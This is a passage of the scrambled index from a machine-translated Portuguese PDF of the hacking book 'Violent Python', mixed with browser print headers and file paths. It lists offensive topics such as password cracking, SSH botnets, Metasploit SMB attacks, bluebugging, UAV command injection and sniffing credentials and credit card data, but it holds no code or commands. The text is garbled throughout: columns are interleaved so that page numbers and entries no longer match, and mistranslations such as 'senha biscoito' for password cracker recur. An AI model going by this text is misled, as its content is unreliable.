modos de operação, 135 Pyinstaller, 248, 249
autenticação de senha, 50­52
analisar comandos de IRC, Python, 5­6
quebra de senha, 24, 29
137­138 intérprete, 2, 5­6
UNIX, 21­24
programas, 20
zip­ fi le, 24­29
M roteiro, 28­29
o ovo de cuco, 20­21
cibernético programa fast track, 24
Mecanizar biblioteca, 86­87 PDF fi le. Ver documento portátil
cracker de senha UNIX,
classe principal de mecanizar, formato de fi le
21­24
212­213 metadados PDF analisar usando pyPdf,
zip­ fi le senha biscoito,
Metadados, 93 93­95
24­29
metadados anonymous ' projeto Peekaboo, 174­175
expressões regulares, 175­176
falharem, 93 teste de penetração, 1
informações de cartão de crédito, 175
BeautifulSoup, imagem pentest documento noivado, 2
usando a biblioteca scapy,
download com, 96­97 linguagem Python, 6­7
176­177
Metadados EXIF, 95­96 dicionários, 9

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 170/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
leitura, 97­100 manipulação de exceção, 10­12 programa de caso de teste, 176
rede sem fio sem criptografia,
metadados PDF analisar usando fi le I / O, 16­17
177­178
PyPdf, 93­95 funções, 12­14
biblioteca padrão, 2
Metasploit, serviço Windows SMB iteração, 14­16
rosqueamento, 37
atacando, 67­68 listas, 8­9
Windows Installer, 5
Metasploit, interação Python com networking, 9­10
Python 2.x, 5
processo Meterpreter, 70 módulo de OS, 18­20
interação Python com Metasploit
utilizando o módulo Nmap­Python, 69 selecção, 10
processo Meterpreter, 70
encoder Metasploit, em cyber­ataque, cordas, 7­8
utilizando o módulo Nmap­Python, 69
254­255 módulo sys, 17­18
Python ObexFTP, impressora com,
framework Metasploit, 246­247 variáveis, 7
207­208
processo Meterpreter, 69­70 programas em Python, 20

260 Índice

linguagem de programação Python, expressões regulares, 234 usando a biblioteca scapy, 180


6­7, 32 interesses do alvo, 231­233 SNORT
built­in módulo de OS, 18­20 do Twitter, 227­228, log de alerta para, 164
built­in módulo sys, 17­18 228­229 exploit.rules assinatura fi le de, 164
dicionários, 9 sistema de IDS, 162
SDP. Ver protocolo de descoberta de serviço
site de download, 2 Secure Shell (SSH), 41­42 regras para digitalização, 165
manipulação de exceção, 10­12 construção botnet, 53 A engenharia social, 211­212
fi le I / O, 16­17 botnetCommand function (), módulo de soquete, 9­10
iteração 53­55 banco de dados SQLite, 100­101
endereços IP correntes, 14 botnet voluntária, 54 SSH. Veja Secure Shell
endereços IP de teste, 15­16 Tampão à base de pilha sobre fluxos , 74­75
roteiro botnet acondicionamento, 55
vulnerabilidades verificação, exploração através do privado fraco
Stalking com Bluetooth e Python,
14­15 chaves, 48­49 201
listas, 8­9 autenticação de senha, telefone bluebugging, 208­209
networking, 9­10 50­52 canal Bluetooth RFCOMM
selecção, 10 ­Chave pública cryptograph, 50 exploração
cordas, 7­8 teste contra o alvo, 52 a descoberta de serviços Bluetooth
variáveis, 7 interação através Pexpect, 42 pro fi le, 206
Python­Nmap integração, 39 child.expect método (), 43 apelidado BlueBug, 205
fi ltragem, 41 função de comando (), 43­44 conexões RFCOMM, 206
localizar e identificar alvos, conecte function (), 43 canais não autenticados,
40­41 conectando com roteiro, 45 205­206
Python­nmap pacote, 3­4 session.expect método (), 43 discover_devices () função, 201
senhas com Pxssh, 45­46 fi ndDevs, 201­202
R conecte function (), 46­48 interceptando wireless tráfego fi c,
função login (), 46­48 203­205
Método Recv, 9­10
força bruta senha, 48 Python ObexFTP, impressora com,
Lixeira, item excluído recuperar
sendp () de comando, 194 207­208
em, 89
protocolo de descoberta de serviço (SDP),script Python, 202
usando o módulo de OS, 90
206­207 SDP usando Bluetooth, 206­207
correlação SID para o usuário, 90­93 Tempestade de fast­ fl uxo,
Serviço de protocolo Message Block (SMB
shell remoto (RSH), 41­42
protocol), 150 149­150
RFCOMM varredura de canais
session.expect () método, 43 detecção com scapy, 152­153
a descoberta de serviços Bluetooth
funcionalidade SHA­512, 23 Cordas, 7­8
pro fi le, 206
tripulação Sombra, 178 SYN fl ood, 155­156
apelidado BlueBug, 205
Shimomura, Tsutomu, 155 módulo sys, 17­18
conexões RFCOMM, 206
software SkyGrabber, 189
canais não autenticados,
205­206
SkyHook banco de dados, 85 T
consultas de banco de dados do Skype, 108
Rich Text Format (RTF), 81­82 TCP
usando Python e sqlite3,
RSH. Ver shell remoto pacote, 184­185
102­108
predição sequência, 155
banco de dados Skype sqlite3, 100­102
S updation, 110
número de seqüência, 157­159
spoo fi ng, 159­162
Safari Web Browser, 198 SMB protocolo. Ver Message Service
SYN fl ood, 155­157
Raspagem páginas da web com protocolo de bloco
TCP fi n digitalização, 40
anonbrowser, 219 Snif fi ng hóspedes do hotel
TCP varredura null, 40
interação com o Google, 223­224 fi ndGuest () procedimento,
scanner de porta TCP
links, 225­227 179­180
bandeira grilagem de aplicação,
codificação de URL, 224­225 programa sniffer de hotel,
35­36
imagens de espelhamento, 222­223 180­181
Python­Nmap integração, 39
ligações análise, 219­221 HTTP, 178 fi ltragem, 41
os tweets de análise transmissão de texto simples, 178­179
localizar e identificar alvo
dados de localização para fora, 229­231
redes públicas sem fio, 178 fica, 40­41

Índice 261

função connScan, 34­35
W
TCP varredura de conexão completa, 33 interceptando o tráfego fi c, dissecando
protocolo, 189­192
W32DownandUp Worm. Veja
analisar hostname alvo, ouvindo sonda 802.11
Con fi cker
33­34 pedidos, 186­187
Windows Registry Reading, 82­83
função PortScan, 34­35 perseguindo com Bluetooth, 201
usando WinReg, 83­85
tipos, 40 telefone bluebugging, 208­209
serviço de SMB do Windows
varredura TCP syn, 40 canal Bluetooth RFCOMM
atacante
TCP XMAS digitalização, 40 digitalização, 205­206
usando Metasploit, 67­68
Terceiro bibliotecas instalações usando o serviço de Bluetooth descoberta de novos
a exploração do sistema, 68­69
pacote de aptidão, 5 protocolo ery, 206­207
análise de ponto de acesso sem fio
BackTrack distribuição, 4 interceptando wireless tráfego fi c,
endereço MAC usando mecanizar
usando comandos, 5 203­205
biblioteca, 85­89

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 171/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
comandos, 5
easy_install, 4 banco de dados SkyHook, 85 assumindo impressora com
Python ObexFTP, 207­208
O Windows prompt de comando,
easy_install python­nmap, 4 ambiente ataque wireless set­
82­83
bibliotecas Linux, 5 ting, 172
Windows Registry Reading, 82­83
Python 2.x, 5 pacote Python Bluetooth
usando WinReg, 83­85
usando python setup.py instalar , 3­4 instalação, 173­174
configuração do ambiente ataque sem fios
Python Windows Installer, 5 teste de captura sem fio,
HAWNU1, 172
Time­to­live eld fi (TTL fi eld), 172­173
143­144 modo de monitor, 172 segredos sem fio, passivamente escuta
pacote Python Bluetooth
para, 174­175
instalação, 173­174
você teste de captura wireless
a construção de chave Google wireless
logger, 181­184
UAVs, interceptando e espionando, 802.11 frames Beacon, 173
usando Python regulares
189 usando airmon­ng start wlan0
expressões, 175­178
elaboração de quadros 802.11 comando, 172
snif fi ng credenciais FTPc,
command­terra de emergência, procedimento pktPrint (),
184­186
194­195 172­173
snif hóspedes do hotel fi ng, 178­181
injectCmd método (), 193­194 logger chave sem fio Google, 181
segurança sem fio, 171­172
IP comprimento campo, 192­194 fi ndGoogle () função, 181­182
segredos sem fio, passivamente escuta
usando scapy, 192 Google Street View épico, 184
para, 174­175
Protocolo de dissecação, 189­192 Google pesquisa parâmetros URL,
FTP sniffer credencial, 186
desembarque UAV emergência, 195­196 181
logons FTP interceptar,
fi nalizing ataque, 195­196 solicitação HTTP GET, 181
185­186
interceptando o tráfego fi c, 189­192 usando cheirar function (), 182­183
user interceptado
uniform resource identi fi er (URI), conexão sem fio sem criptografia,
credenciais, 184
136 183
expressões regulares Python,
UNIX senha biscoito, 21­24 caos sem fio com Python,
175­176
veículos aéreos não tripulados (UAVs), 188­189
informações de cartão de crédito, 175
188­189 de­cloaking oculto 802.11
usando fi ndCreditCard ()
protocolo Bluetooth, redes
função, 176
209 encontrando rede oculta 802.11
usando a biblioteca scapy,
command­terra de emergência, beacons, 187­188
176­177
194­195 detecção Firesheep, 196­197
programa de caso de teste, 176
com script Python, 195­196 bolinho Wordpress captura
rede sem fio sem criptografia,
URI. Ver Uniforme de Recursos identi fi er reutilização, 199­201
177­178
cookies de sessão WordPress,
tripulação sombra, 178
V 198­199
snif fi ng hóspedes do hotel
Variáveis, 7 interceptando em UAVs, 189
fi ndGuest () procedimento,
rede privada virtual elaboração de 802.11 frames,
179­180
(VPN), 214 192­195
programa sniffer de hotel,
VPN. Veja rede privada virtual fi nalizing ataque, emergência
180­181
desembarque UAV, 195­196

262 Índice

HTTP, 178 Google tro de busca URL Z
transmissão de texto simples, tros, 181
Zero­dia prova, código de conceito,
178­179 solicitação HTTP GET, 181
74­79
redes públicas sem fio, 178 utilizando a função fungada (),
Zip­ fi le senha biscoito, 24­29
usando a biblioteca scapy, 180 182­183
logger chave Google sem fio, 181 sem fio sem criptografia
fi ndGoogle () função, 181­182 conexão, 183
Google Street View falha épico, cookies de sessão WordPress, 198­199
184

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 172/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 173/173

Você também pode gostar